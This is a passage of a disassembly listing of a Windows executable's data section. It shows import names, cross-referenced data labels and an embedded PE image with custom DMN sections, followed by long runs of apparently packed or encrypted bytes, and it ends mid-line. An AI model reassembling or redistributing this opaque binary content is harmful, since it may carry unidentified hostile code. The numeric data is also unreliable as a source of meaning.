65756Ch dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h dd 746C6946h, 7265h, 65470000h, 73795374h, 546D6574h, 41656D69h dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h dd 6C646E61h, 756F4365h, 746Eh, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h dd 416C6175h, 636F6C6Ch, 0 aVirtualquery db 'VirtualQuery',0 align 4 aWritefile db 'WriteFile',0 align 4 aSetstdhandle db 'SetStdHandle',0 align 4 aSetconsolectrl db 'SetConsoleCtrlHandler',0 align 4 aSetfilepointer db 'SetFilePointer',0 align 4 dd 65520000h, 69466461h, 656Ch, 65530000h, 646E4574h, 6946664Fh dd 656Ch dword_4127E8 dd 0B60000h ; DATA XREF: sub_407C90+44r ; sub_407C90+51r ... dword_4127EC dd 0 ; DATA XREF: sub_407C90:loc_407CCFr ; sub_407C90+57r ... dword_4127F0 dd 390000h ; DATA XREF: sub_408670+Fw ; DMN0:00408690r ... dword_4127F4 dd 146AF8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_41121Co dword_41280C dd 146AD0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411218o dword_412824 dd 146AA8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411214o dword_41283C dd 146A80h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411210o dword_412854 dd 0AAE23900h ; DATA XREF: sub_409300o ; DMN0:00409327r ... dword_412858 dd 1C87031h ; DATA XREF: DMN0:0040932Dr ; DMN1:0044B64Er dword_41285C dd 146B20h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40103Co ; sub_401048+4o ... dword_412874 dd 146B70h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401097o ; DMN0:004010D2o ... dword_41288C dd 146B48h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401165o ; DMN0:004011DEo ... dword_4128A4 dd 392F98h ; DATA XREF: sub_40122A+18r ; sub_40122A+41w ... dword_4128A8 dd 0 ; DATA XREF: sub_4067B0+63r ; sub_4067B0+268r ... dword_4128AC dd 0 ; DATA XREF: sub_4067B0+DAr ; sub_4067B0+F5r ... dword_4128B0 dd 0 ; DATA XREF: sub_4067B0+D4r ; sub_4067B0+10Dr ... dd 1Dh dup(0) dword_412928 dd 3 dup(0) ; DATA XREF: sub_4023DC+15o ; sub_4446FD+15o dword_412934 dd 0B50078h ; DATA XREF: sub_403B86+1Cr ; sub_403B86+3Dr ... dword_412938 dd 0 ; DATA XREF: DMN0:00405A4Eo ; DMN0:loc_405A61o ... dword_41293C dd 0 ; DATA XREF: DMN0:loc_405A44w ; DMN0:loc_405A74w ... dword_412940 dd 0 ; DATA XREF: DMN0:00405AFAw ; DMN1:00447E1Bw align 10h dword_412950 dd 0 ; DATA XREF: DMN0:00405B01w ; DMN1:00447E22w dword_412954 dd 0 ; DATA XREF: DMN0:00405A53r ; DMN0:00405A66r ... off_412958 dd offset aWnss ; DATA XREF: DMN0:00405AAAr ; sub_405B88:loc_405B96r ... ; "wnss" dword_41295C dd 0 ; DATA XREF: sub_405B88+13w ; sub_405B88+30o ... dword_412960 dd 0 ; DATA XREF: sub_405B88+18w ; sub_447EA9+18w dword_412964 dd 0 ; DATA XREF: sub_405B88+22w ; sub_447EA9+22w dword_412968 dd 0 ; DATA XREF: sub_405B88+29w ; sub_447EA9+29w dword_41296C dd 0 ; DATA XREF: sub_405D3F+Br ; sub_405D3F+5Fr ... dword_412970 dd 400h dup(0) ; DATA XREF: sub_405FBD+1Bo ; sub_405FBD+31o ... dword_413970 dd 146B98h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4067B0+2Fo ; sub_448AD1+2Fo dword_413988 dd 391E90h ; DATA XREF: sub_408E40+6Fr ; sub_408EE0+1Br ... dd 3Fh dup(0) dword_413A88 dd 20h ; DATA XREF: sub_408EE0+6r ; sub_409360+28w ... dd 15Eh dup(0) dd 478F8C4Bh, 0 dd 10000h, 0Ah, 80000018h, 0 dd 478F8C4Bh, 0 dd 10000h, 1F41h, 80000030h, 0 dd 478F8C4Bh, 0 dd 10000h, 419h, 48h, 14058h, 15678h, 2 dup(0) dd 505A4Dh, 2, 0F0004h, 0FFFFh, 0B8h, 0 dd 1A0040h, 8 dup(0) dd 100h, 0E0010BAh, 0CD09B41Fh, 4C01B821h, 909021CDh, 73696854h dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0) dd 4550h, 3014Ch, 3 dup(0) dd 0A18E00E0h, 10Bh, 3 dup(0) dd 460FBh, 1000h, 0 dd 10000000h, 1000h, 200h, 2 dup(0) dd 4, 0 dd 48000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 47038h, 28h, 6 dup(0) dd 47060h, 10h, 14h dup(0) aDmn0 db 'DMN0',0 align 4 dd 30000h, 1000h, 5 dup(0) dd 0C0000060h, 314E4D44h, 0 dd 15124h, 31000h, 15200h, 400h, 3 dup(0) dd 0E0000060h, 324E4D44h, 0 dd 78h, 47000h, 78h, 15600h, 3 dup(0) dd 0C0000060h, 64h dup(0) ; --------------------------------------------------------------------------- jge short locret_414490 retf 0A2D1h ; --------------------------------------------------------------------------- db 0F1h, 31h, 96h dd 0A191B6BFh, 3B24E150h, 0C1779296h, 5D433147h, 8CD1085Eh dd 6148FD69h, 0C1221B54h, 0B92B779h, 0E128BEAh, 81D903C7h dd 90152854h, 0D665FD5Bh ; --------------------------------------------------------------------------- locret_414490: ; CODE XREF: DMN0:00414458j iret ; --------------------------------------------------------------------------- db 3Fh, 0FEh, 0E6h dd 2BB91F7Ah, 0C0ABFCCCh, 0B5486DBCh, 83E39A30h, 6A5EC065h dd 0B3D7BFCBh, 315517BFh, 0F6FE6039h, 0E6403EBDh, 0B4D15F64h dd 9F410B7Ch, 3C4BE2BEh, 4E0E8B0h, 0BA46424Eh, 4CBAD68Ch dd 88602410h, 0FDA24253h, 0AF9CD3B1h, 0D6EEA0AEh, 86369C7Eh dd 18FAC514h, 3E69763Ah, 20670F85h, 7EA360B5h, 756F391Fh dd 7C7BAEFDh, 0BD9BC86Bh, 1DE72D96h, 0F2F11F3Ah, 62C0F8Eh dd 0BC81AC02h, 0D99E4D9Ch, 0F4A43C66h, 3D39132Eh, 3D99D051h dd 0FEFB54A6h, 87CCB2C4h, 6EDAC2F3h, 0AE2C633Fh, 2F730C24h dd 95C9CB21h, 0CC2E20BFh, 4C846EFAh, 0F7097861h, 0B914A0B8h dd 6B8F8991h, 0C2D6FBC4h, 0BCF1AF94h, 76673FAAh, 9913AA4h dd 49727DD6h, 287431A2h, 4B9E2F1Bh, 39165186h, 0F894AAB8h dd 0E522D3D0h, 0EA9678F2h, 282DB327h, 7D4714D0h, 0B136F2Bh dd 754A540Dh, 99B71FE4h, 0A4A045C1h, 0EEA4024Fh, 0CF7E8906h dd 9DA0FCC5h, 0B36EBA7Ah, 12B7813Ah, 9841206Fh, 7EC301A4h dd 0A27F0466h, 0E090E315h, 0DA9361EDh, 67AA42F5h, 8C974EF6h dd 429F4552h, 0A696F9Bh, 0B24719Ah, 30C2FE8Dh, 0AAEC6EA3h dd 92AAC91Bh, 0B9F2FDD4h, 0D538FE29h, 2AE53DC4h, 6A48946Ch dd 0D3DAEAE0h, 988F3484h, 8D8FD940h, 27587C47h, 9F96D78Bh dd 65FD94FDh, 811D7D97h, 90EEDD8Ah, 1080011Bh, 4CBB270Ah dd 0A3F4FFECh, 360D41CFh, 0B37A49C0h, 0CE077ADCh, 437D1F16h dd 90426CC7h, 0DCE2DA66h, 9A7F731Ch, 0E265771Bh, 0F356398Ah dd 3C8CEF5Bh, 5BFEB89Ch, 18564F00h, 1E50D72Ah, 0DCD95F0Ah dd 9720222Bh, 0DC1158F4h, 608135Eh, 48CF4BACh, 0A8CAE728h dd 0A645C283h, 7C82364Eh, 5643794Fh, 27F8E1E1h, 5730B5AAh dd 0DC9EF04Ch, 0D9D6A68Eh, 693C12Fh, 504AB325h, 0E8339E76h dd 227AB30Eh, 0F3368A4Ch, 79C4EEF7h, 8F6AF40Bh, 0D3346FAAh dd 0D1156DADh, 0A0D7D710h, 14F9254Dh, 9E95C7FCh, 14FBCF44h dd 8CCF6FDh, 93E1E07h, 489478AAh, 8707A90Bh, 291B5B12h dd 0C9507335h, 0D918C3B0h, 10192644h, 12CE3C7Ah, 8F69159Dh dd 0FB3B932h, 911034F6h, 13FF59A7h, 0F8A7B8CAh, 0A7F462F6h dd 0C8284E3Bh, 3A6081E1h, 62E1C3F0h, 6CE87EE4h, 5684F24Ch dd 0F4D83CCDh, 23B03EDDh, 824BA5EBh, 6B3E6359h, 9D42FE48h dd 0F9874D1Dh, 651E82EFh, 0F1E93840h, 23BFAA45h, 6CDB05EEh dd 0F6A92621h, 85DB60BFh, 0B2B2DC4h, 90A73AC4h, 152532F7h dd 6D6CEC13h, 0D77C2008h, 0E96747D9h, 6C3D2944h, 58A5B96Dh dd 9464016Ch, 583C89E1h, 93F5E99Fh, 2AF39D13h, 0EDB88D9Eh dd 0FCB17C26h, 31575D88h, 524BB472h, 2CC14B73h, 0D46C0BCDh dd 88A70448h, 89C2D20Fh, 0DBD6E1A8h, 0FA425A93h, 60075C70h dd 3F54D7C6h, 154FD630h, 0CA52B5CDh, 5645E00Dh, 3A20BF21h dd 0F037AD6Ah, 0B77F9566h, 87BB024Ch, 3BD32FA2h, 0B52C5A91h dd 9872DC47h, 5F6AA30Ah, 0D930BA6h, 0A2304F5Ch, 1AD99642h dd 0F268C4C4h, 9D8372EEh, 8BF4F462h, 0A9F54B9Dh, 9C1BF631h dd 7548223Ah, 0D2ECCA1Fh, 810ED6F8h, 1DAE0762h, 146E312Bh dd 6FA5DFC8h, 90AD453Ah, 0C28DD97Eh, 9D61AC32h, 0D562803h dd 997BE4EEh, 1173CA3Eh, 0BF98828Dh, 66EFE006h, 74A3B0EAh dd 8B61D9C3h, 3691CB69h, 4802FE4h, 0A8C86779h, 8CFD6F8Dh dd 0A2EE382Dh, 11DAD17Eh, 822C68Ch, 8113056Ch, 4377A33Eh dd 4465B779h, 6F8621BFh, 25ECF28Bh, 0A6C4BEFEh, 43D76F11h dd 0E4BE9FE7h, 430ED2CDh, 9418EC6Eh, 890CF68Fh, 5ED8126Ah dd 0EC3687A2h, 0E583F0F6h, 2C8541F8h, 1D009810h, 8F5AFDE5h dd 4E8BE060h, 2916F47Bh, 0FFA8EC75h, 0C969F439h, 0C763BA15h dd 813F89EAh, 2613D59h, 7211F90Ch, 59804E62h, 0ABED4A6Bh dd 0E4366078h, 290B091Fh, 37E08162h, 4C49BA46h, 0E7ABF853h dd 313ADBE2h, 0F07AD51Eh, 4F6979F0h, 2E4EDABAh, 0D6C6D0C9h dd 103E9908h, 5E71698Ch, 0E9ED3D3Fh, 2A4CFA8h, 57C02D9Bh dd 0D34575D7h, 973EDAC1h, 0CF63FA8Eh, 0F80660DCh, 97275C50h dd 3DDB081Ah, 256C6AD2h, 35FD3DEBh, 0B4810ED0h, 4D962918h dd 938DDFC9h, 0C0ACA7E5h, 223C26D8h, 9860110Dh, 0B1FE39FEh dd 794C0294h, 620D3874h, 6B269D7Ah, 453900B3h, 69478553h dd 0A643B8A7h, 65A2C240h, 80F21B4Ch, 4612E3BCh, 30D65C89h dd 0BF345E16h, 88F1E458h, 0C2771228h, 65A4EBEFh, 0A282D7E7h dd 0E77FC238h, 1E059315h, 0E437AD2h, 4BC6F187h, 8515A4F2h dd 8330AA06h, 5AD328F4h, 2192C5BAh, 0BF0B3CBh, 2AC7DED9h dd 43BDE8FBh, 0D72C0952h, 0A0DA41F6h, 0E4B6E8A0h, 8D30BE62h dd 25FBA884h, 0C14360D0h, 374E2EE4h, 0CD6E48C1h, 0B9954170h dd 0B148BAEEh, 8CA9F5BCh, 3D14CAB1h, 42B9C2D6h, 0BBFF363h dd 27A7E0C7h, 7B044AB5h, 5D872643h, 1DFF1818h, 0E3064F39h dd 0D836B796h, 3F57F606h, 0E13C2217h, 2E08771Fh, 9F883F68h dd 33CA8572h, 0F5ACFFE4h, 1670245Dh, 3F5FD1BEh, 89583358h dd 0F99EA2CDh, 0FFF17B6Fh, 26A20E55h, 7582FFCFh, 220A535Ch dd 349F5757h, 1DFBAFB5h, 881B023Eh, 76C57854h, 0A27117F4h dd 0ED4FBA30h, 0DF7D09DDh, 0C3D901CCh, 7B40ACEAh, 0E3CAD7F0h dd 0AAC42D77h, 0B2874B17h, 273D08BAh, 76B8C045h, 12C8645Fh dd 80481C99h, 8352222h, 9E44DB63h, 22F41FBAh, 4B3C8503h dd 18BA80C7h, 5F288E3Ah, 0D5EB9641h, 3DDCD68Ah, 944C2761h dd 201C77F8h, 58ECF6ADh, 9B67F143h, 0DAD9E98Ch, 8C71EBE2h dd 3045D04Eh, 0F8D525E9h, 0E6065359h, 0B9AF93DBh, 0A8EA5508h dd 0FAEA3086h, 1CDB4810h, 6FF292E8h, 40DD3812h, 0A8746856h dd 0DDF579C2h, 6515D774h, 0A76C1EFFh, 42F8817Bh, 76D3935Eh dd 33FC6D96h, 0EAC7BF28h, 0B7166A44h, 32C0DA72h, 9367CB74h dd 95351BABh, 0BCF90AAEh, 93B6807Eh, 0DDD08FB6h, 5ADA9959h dd 0B60ED67Ah, 640C2388h, 0C79C407Fh, 49EF062Eh, 1D67922Bh dd 0D6D9AF9Fh, 0B4706730h, 2054C84Ah, 58D735F1h, 0AFFA734Bh dd 39BEE9E4h, 8D37DCFDh, 37C530B0h, 75FD1D2Dh, 1C06B143h dd 20A75B49h, 0C5E73FDBh, 95BA676Ch, 5EB0C5D4h, 97822C9Dh dd 21D97112h, 59F2DC01h, 899B31F9h, 0C6D1A224h, 870E4A42h dd 0AD01A7Eh, 67074BD3h, 227A1C5Bh, 0BD38857Dh, 92B283BCh dd 23D88F32h, 4DCB9451h, 0AE1CD26Bh, 74CC2FDEh, 1F1C596Bh dd 0DAEF29A4h, 9F67B340h, 0D2DA6D8Eh, 0BC70E3E6h, 5047C046h dd 0B8D905F9h, 6BFE9338h, 0B9B6A9BBh, 8EC05D3Eh, 37E43032h dd 723F1E29h, 1C8AB66Bh, 4B9F575Dh, 29F72707h, 915A772Dh dd 56F0F454h, 0A403ED8Dh, 40D9E312h, 9FF1D811h, 158539F8h dd 10D5522Bh, 0E37E4F35h, 4A05A7Ch, 5F26CB98h, 0A3BB1C43h dd 0BDBA85DAh, 8D8E83E6h, 21C08F4Eh, 49DB95E9h, 867CD35Bh dd 6AEC2DFEh, 0F2FD38C9h, 0BFEF214Fh, 11675C5Ch, 2EDA3359h dd 0A47F5FFBh, 404638FEh, 98D815FDh, 2BFCB330h, 798A69ABh dd 0A098DD1Fh, 56875110h, 7E591FA5h, 1CCEB76Bh, 2617555Dh dd 0C4C7238Dh, 9F7A4034h, 2A3104D4h, 0BC838E8Dh, 13D9A512h dd 93305411h, 3EE8448Ah, 4ED74248h, 677A0A4Ah, 0C2BF9B6Bh dd 9F364B22h, 23D81CBEh, 0BDF4856Fh, 8C0A83E0h, 60C88F4Ah dd 476995E1h, 9A5CD34Bh, 5F4C2D9Eh, 961C5CFBh, 3CEF20AEh dd 53675D41h, 0AADA3189h, 0AC7F5BE4h, 70463042h, 0F8D865F1h dd 0EBFCD328h, 0B98A285Ah dd 8ED95D40h, 37F233B6h, 725B1F21h, 1CD2B47Bh, 260F53BDh dd 0C4D72FBBh, 9F1A58ACh, 2A712B54h, 0BD03AF8Dh, 52DA6712h dd 0A3F0D011h, 4D8729F8h, 0AED9722Bh, 777EEA40h, 0E2B7DA7Bh dd 0DEC1CB2Eh, 0A3F91C50h, 4236856Eh, 8C8683E7h, 27F08F48h dd 453B95E5h, 9EBCD343h, 570C2D8Eh, 0A59C5CDBh, 5DEF20EEh dd 95675EC1h, 26DA3088h, 547F59EBh, 60463441h, 0D8D87DF3h dd 0ABFCE32Ch, 398BC852h, 8ED91D51h, 37F1B3E8h, 725A1F5Dh dd 1CD0B5C3h, 2603528Dh, 0C4AF2D5Bh, 9F0A5C6Ch, 2B9123D4h dd 0BD43408Dh, 6D5A3912h, 0A2EF6C11h, 4B86D1F8h, 0A2D8622Bh dd 4F7CCA40h, 0F28B1A7Bh, 0FED94B2Eh, 0E3EE1C50h, 0C250856Eh dd 8CC283E6h, 26788F46h, 440B95F9h, 909CD33Bh, 2BCC2DBEh dd 0BD1C5D3Bh, 4EEF202Eh, 0B7675E41h, 62DA3788h, 0DC7F57EBh dd 90462840h, 38D875F4h, 6BFCF32Fh, 0B98BE851h, 8ED9DD52h dd 37F133EAh, 72451F59h, 1CD6B5CBh, 2607529Dh, 0C4A72D7Bh dd 9F3A5C2Ch, 2BB12254h, 0BD83418Dh, 6DDA3B12h, 0A1EF6811h dd 4986D9F8h, 0A6D8122Bh, 477CAA40h, 828B5A7Bh, 1ED8CB2Eh dd 23EF1C51h, 42528569h, 8CDE83E5h, 26608F44h, 441B95FDh dd 90FCD333h, 2B8C2DAEh, 0BC9C5D1Bh, 4FEF206Eh, 0A9675FC1h dd 7EDA3688h, 0C47F55EBh, 80462C40h, 18D84DF4h, 2BFD032Fh dd 398B8851h, 8ED99D53h, 37F0B3ECh, 72441F55h, 1CD4B5D3h dd 267B52EDh, 0C4BF2D1Bh, 9F2A5DECh, 2BD122D4h, 0BDC3428Dh dd 6C5A3D12h, 0A0EF6411h, 4786C1F8h, 9AD8022Bh, 5F7C8A40h dd 518A9A7Bh, 62531D7Dh, 50671075h, 0D7B38D82h, 9CDA7F88h dd 0D0ED49CBh, 0B4E26185h, 5692BE91h, 0A7AEDB1Fh, 0BC2C64CBh dd 0F3DCAAAEh, 0A9125F7Ah, 8A533677h, 0E96FBB2Ah, 0B0465FBFh dd 101B1EAAh, 0FBFC1527h, 45FBBDAFh, 0DB194D54h, 5FA3D667h dd 62461959h, 0E0AEA024h, 271542FDh, 94BF68B0h, 9E979344h dd 0A2A87854h, 0B40B2B4Eh, 79252F13h, 0B7EF9C69h, 18DD1171h dd 98D05AE8h, 42827A41h, 0B28A260Fh, 5AFFBFD1h, 0A3BC4AB9h dd 4A26DC68h, 73C682EDh, 26ECF755h, 641356E5h, 6E2CD225h dd 2AF05C5Bh, 0E65F9E4Bh, 9D6EC667h, 0AD6759C1h, 478D62DBh dd 0FC02D21Dh, 2C22B40h, 30D85DF4h, 5402DCDAh, 0C5F75DAFh dd 71E70D55h, 38F04C1Fh, 724693C9h, 1AF8DDA3h, 338C42CCh dd 0D48FD0AFh, 0C9C620E1h, 4319542Bh, 0B243458Dh, 905AB49Fh dd 4EBF83EEh, 4386A043h, 1BC8E6A8h, 0D086CB83h, 0C48A1A7Bh dd 0F3DA2110h, 0E3129CD2h, 0E2A0D568h, 0D5D283A7h, 0ABDE0607h dd 0BB1C99F4h, 0D291DB6Eh, 0C29A7C61h, 0B31C0C30h, 0FBFFE7ADh dd 0CD0F0E82h, 9ACA3B6Ch, 0FC7F1DF0h, 38104119h, 0B8D80557h dd 0E6EED877h, 467468D2h, 0ECB28DA9h, 0DF1F3306h, 72414EB6h dd 3CB6ECF2h, 0D96753DBh, 0C47B54EEh, 0C5A4023Ch, 0E86CCCDDh dd 0B3857DE5h, 1FCFCC02h, 66FF78EDh, 0C26370ADh, 1B88C2C7h dd 0D82DDA05h, 4276DA6Eh, 0E359AD3Fh, 246010AEh, 42AEC0D0h dd 342B68F9h, 36006B1Eh, 1EC9ADEh, 267383EFh, 25DCD62Bh dd 0B64182Ch, 73EF2362h, 0F39EAE58h, 0BE9F8D87h, 0E47F2952h dd 39B18540h, 0DD6CA2A6h, 9CF213D8h, 51DBFA12h, 9EDA791Fh dd 0DF06C61Bh, 72404E9Ah, 47F87130h, 0E536BDA4h, 947AA5CEh dd 98D236BFh, 3EAE30D5h, 0A2C3BAF9h, 6EBE757Ah, 0AC9A8B01h dd 7FD71B10h, 3829B2Bh, 4BA68F83h, 42CC1767h, 41260EA6h dd 16EFE023h, 52ACD667h, 0C2A83BAh, 0CE5B839Eh, 43ABC1B6h dd 9764BB52h, 38B33C1Fh, 0A21CA183h, 2903ABF5h, 46EE0C82h dd 19D2D50Bh, 0E422C0BDh, 0FDB908ABh, 0E8DB55E4h, 0EB0D438Fh dd 3CBFD746h, 9EDA5B08h, 0C8F01B0Eh, 4FC046BEh, 0F2245ABh dd 0CDB0243Dh, 0C09644CAh, 7A725EACh, 728ED8A9h, 43135206h dd 6A532712h, 0AAE92084h, 5FBD69E8h, 4898F55Eh, 0DC5F1505h dd 9DCC1C7Fh, 26B0480Fh, 5301BD56h, 12CB956Ah, 9F330AEEh dd 0AD208FA8h, 45EB10B1h, 9757C302h, 2B842F84h, 0B2161E9Dh dd 7B9BE26Ah, 0D1981FFBh, 0BEA7B981h, 947F4DEBh, 9DC6F23Ch dd 0D1AE9F0Bh, 0DEDF58AEh, 38638B52h, 0AEE09D1Ah, 0C8D498Ch dd 0F14B6CBDh, 1FD0A5BEh, 0A71F711Dh, 0C39F3CFAh, 1BAEDD7Ch dd 3C902184h, 3A18168Dh, 3C9974FEh, 466EA998h, 7B861068h dd 39BDB478h, 8AF0CA42h, 8D76E40Bh, 3D62447Fh, 0A99FF406h dd 4C9856Ah, 0A456756Bh, 27393430h, 0BDFB1014h, 9ECC2F04h dd 0C59CEF89h, 0B11C1454h, 806AE4A7h, 67565E35h, 64B22463h dd 746F470Fh, 0EFB9F52Ah, 50D05EACh, 7BFD972Dh, 4675B5BDh dd 4EEA84A5h, 0BE566DBAh, 9A8E4555h, 1F26FFCEh, 0E527912Ch dd 9382A52Eh, 0F4BC347Fh, 0C4B34C55h, 0B38303BAh, 925BE89Bh dd 5610B7EEh, 0B9B71D8Dh, 0C31CC4C0h, 15D52ABCh, 8F8D307Ah dd 7684376Ah, 23170C52h, 42BD7A0Dh, 9DD6D0EDh, 0E1208F1Eh dd 0EB1B69D8h, 9596D1E1h, 7D7069A3h, 0B08C5873h, 88104A6Eh dd 31345BC1h, 5EDA777Dh, 8583002Ch, 6A460C40h, 0E49E00F1h dd 43F5E971h, 398877AAh, 0C7007508h, 0EF85B3FCh, 2FA091EEh dd 0FAADE050h, 2031023Dh, 0C1152D71h, 9EE3E104h, 0AD12AFD4h dd 4C3CB576h, 595E58EDh, 0C18EAFD1h, 746E0DBDh, 0BF52822Bh dd 9279E0BCh, 7AD8663Eh, 3ED45B2Ah, 63EBE33Fh, 5494D665h dd 0E63A83A5h, 25C08717h, 6629591h, 1CD8BA17h, 441CD09Bh dd 0B01C4E7Dh, 7810DAC6h, 0AD8F0841h, 6BDA3DC1h, 9C02C02Bh dd 0E0D30F40h, 1227C07Ch, 17B81E25h, 0D180C204h, 8ED4A2A3h dd 7E5BDBADh, 0AAC618B1h, 42C63CC0h, 0C3D604BEh, 9EFC7F6Bh dd 8E1F36A4h, 2CF126BCh, 0DAFF0E04h, 949FA216h, 0BFEA2841h dd 8AEE09F8h, 0ADDBB2D4h, 173B42A8h, 2ECDB37Bh, 5ED7C8C7h dd 0C9E959DEh, 0BE3B0860h, 9F30EBA3h, 0D9B88F50h, 10FB956Ah dd 9275D80Bh, 0AFCC1DCEh, 0B89C4A26h, 3C66F57Bh, 50633E3Dh dd 3C8AC0CDh, 4B8029E3h, 0C8150440h, 58DBD51Ch, 0F6112A7Ah dd 1DFCB797h, 0C635F559h, 0F73AB3F0h, 0FB1BDBEDh, 13C43486h dd 7553514Ch, 0CB12A08Dh, 60BEFAEFh, 0AF11DA2Bh, 4FBDB428h dd 0CED921EDh, 5110A2EDh, 8F3BB2F8h, 0B2245DD5h, 6AF95C33h dd 0CD77E486h, 0F7D61BACh, 1CE4E0DEh, 47E40C63h, 70CD7CC2h dd 0D82C0D03h, 299B6A96h, 1F1CBA5Bh, 0D332D77Bh, 0B7760044h dd 7AA7B1C6h, 5CA1E541h, 59AE2C70h, 0B80AE96Eh, 53AD7871h dd 0E69BD5C4h, 361E3A7Bh, 5C073D88h, 0CB5D8E0Eh, 486B630Eh dd 8D391CCFh, 7FE6BD1Eh, 0AF975115h, 3C3FA838h, 0D8F15C58h dd 0C2B87FA8h, 3DD68ED0h, 7336A0F7h, 0B7FF3242h, 61C3B4F8h dd 679EBA7Ah, 0A3F12A5Fh, 874F3C75h, 15D6C9D2h, 6692100Dh dd 7CD8A6Bh, 0A5E6D3D1h, 40C088C4h, 0CE29D0E4h, 8216200Eh dd 24F9D4BDh, 0B6D44E73h, 8417BA6Eh, 115669B4h, 6EEBD163h dd 48F646AAh, 0C9137F03h, 8837EE6Ch, 41E2A94Bh, 0C9CB857Bh dd 0DE2575EFh, 0F381B334h, 37BF7E29h, 940CB883h, 630243E8h dd 8668186Fh, 4783F8FCh, 48513493h, 39312B04h, 7230154Fh dd 0D49A2B42h, 8FC6F510h, 0D525C12Ah, 0BF470E2Ah, 12B69992h dd 526F1062h, 0EA6DDF15h, 3DB1EF7Ah, 33628BB5h, 0A0C888CDh dd 702FE8A1h, 0A75F3B8Bh, 0E4116B5Eh, 0C5F9D9AEh, 0CABC2C43h dd 130D7D2Ch, 7A2A9406h, 0AC2F9101h, 7C82335Ch, 89EA2EBh dd 0AE35D312h, 0B98E3886h dd 7EA4D0E0h, 67EE76FBh, 7A0EE6F7h, 1F553B93h, 0A74CC4BDh dd 3C28EC40h, 0AC1FD553h, 0A773B094h, 3C585155h, 3719FAFEh dd 2F6DB598h, 0DAD67AECh, 0A5CF2FA1h, 55E9E60Ah, 0E158BC79h dd 0CE9BCB22h, 0E6D41C22h, 721ED56Eh, 0D068397h, 0E396844Ch dd 7F396520h, 9A509584h, 0B20C2B8Eh, 1011A0A6h, 42B86803h dd 738F66B3h, 2FDAD0CCh, 0AB81982Eh, 15B94BA4h, 331B4C8Bh dd 0A7A76803h, 0B07B8DE9h, 0CB6612F3h, 3BE9E25Ah, 147A199Ah dd 0EF99BB4Ah, 0AFD812D2h, 966C4CB7h, 0CB5841E5h, 23CCD883h dd 5E535D06h, 825B130Fh, 3DBDFC64h, 616BD98Dh, 0ABDE626Ch dd 309E4F99h, 0D5B997Ch, 9A040C9h, 1CCBEF49h, 869B5AE1h dd 0D51CDCD6h, 0A22D4BDBh, 295DC69Ch, 58C8DB0h, 0D8171A61h dd 3E1C3B1Bh, 51E34DD0h, 0C58F6633h, 6BDAD7CDh, 0A289922Eh dd 1BB1814Ah, 0C8DA79C5h, 6AFEB69Eh, 0C6706D92h, 0D109542Eh dd 0F45C69F4h, 2180908Ch, 429DEF9Dh, 1758C58Dh, 0A987FAA0h dd 0E8C4F72Ch, 27C4AD58h, 0B5C55965h, 0F81DF212h, 0E8FE96E7h dd 85C6520Fh, 6357E22Bh, 0C29BAB53h, 0B4F2586h, 45D694FAh dd 0AA1ADF14h, 1444D67Ch, 552DE4Eh, 368B98F9h, 0BE49517h dd 0F9038323h, 75C9C3A6h, 0AA15511Bh, 0AA90CEEAh, 8298A745h dd 0FF2DFF80h, 0BB80901Bh, 90032785h, 458013DFh, 1AA550D4h dd 1DFB7797h, 0C8F275FFh, 0F489B2ACh, 8D9BE254h, 261472Ch dd 2ADF3812h, 0C3F907F3h, 18ED2CECh, 0ACD42722h, 0BE28DD45h dd 0F7573B99h, 2BEE6F11h, 0D95B48FAh, 938BC171h, 4B8409BAh dd 82F8CC2Ah, 7B054B48h, 0D7A44CB9h, 400C85D7h, 493C8F00h dd 2B6A78C7h, 6E87D0B6h, 1DCD02Bh, 77C1DA03h, 934F0197h dd 1E0733DAh, 0E2676F03h, 524564Dh, 0C4E179Dh, 0E5CDBBB1h dd 8C9ECE8Ch, 5CFC119Eh, 51DF5A25h, 8ED21867h, 51106725h dd 0B2561B58h, 9641E69Bh, 733C1111h, 2F36F4B2h, 9CDBA1A8h dd 0AA370707h, 0B5FCDF8Dh, 78DB1713h, 4263E01Fh, 7A7C35E4h dd 5B5BDA82h, 0D2E46A6Fh, 5D6D2199h, 0A1BC23B2h, 2A14E336h dd 0BF930B5Bh, 5A97230h, 0D4EB6805h, 1493CD8Ah, 43CC066h dd 0B7815C88h, 9C636D5Bh, 35EDD3BFh, 9E8078C6h, 75232B7Ch dd 2CF21D2Ch, 4CC7FF04h, 0D1BE9EDDh, 0A73FA0F2h, 0B2181E33h dd 2CD115A0h, 341FB6A0h, 783392CDh, 1F1C1A20h, 0A5F34CCDh dd 7ABE1886h, 3D40A9E5h, 0EE11A854h, 3E3F2492h, 7FA31493h dd 0FDF032Ch, 0A08F56Dh, 255D69Fh, 2E951FF6h, 4AE79643h dd 71870E29h, 0E24219F7h, 3BBE8C48h, 5E98B41h, 299164CBh dd 0F7B7E082h, 0C8978B1Fh, 77452A86h, 7359EA43h, 0B76D3F53h dd 0EE2868BEh, 0F2DFDB72h, 0A3FA73E8h, 3CDFC304h, 31AE96DDh dd 7B5FB0F3h, 32583E34h, 1759D5B3h, 351F36A2h, 7A65A142h dd 2697B8ABh, 360F295Fh, 0E00A576Eh, 844DAA11h, 24A854E0h dd 0B6D6ACB2h, 0C9D489F0h, 7CFA7321h, 877ACE5h, 0EAE446D2h dd 0ACD01006h, 171A599Ch, 175ABD6Fh, 9D7CFD8Bh, 0BF7F2B8Bh dd 8F5A0C42h, 0EBB6136Ch, 0F6DDB93Eh, 7D2FABC3h, 777748E6h dd 72D69A63h, 0AF26FE56h, 691FE277h, 0CA104002h, 0B1480DE8h dd 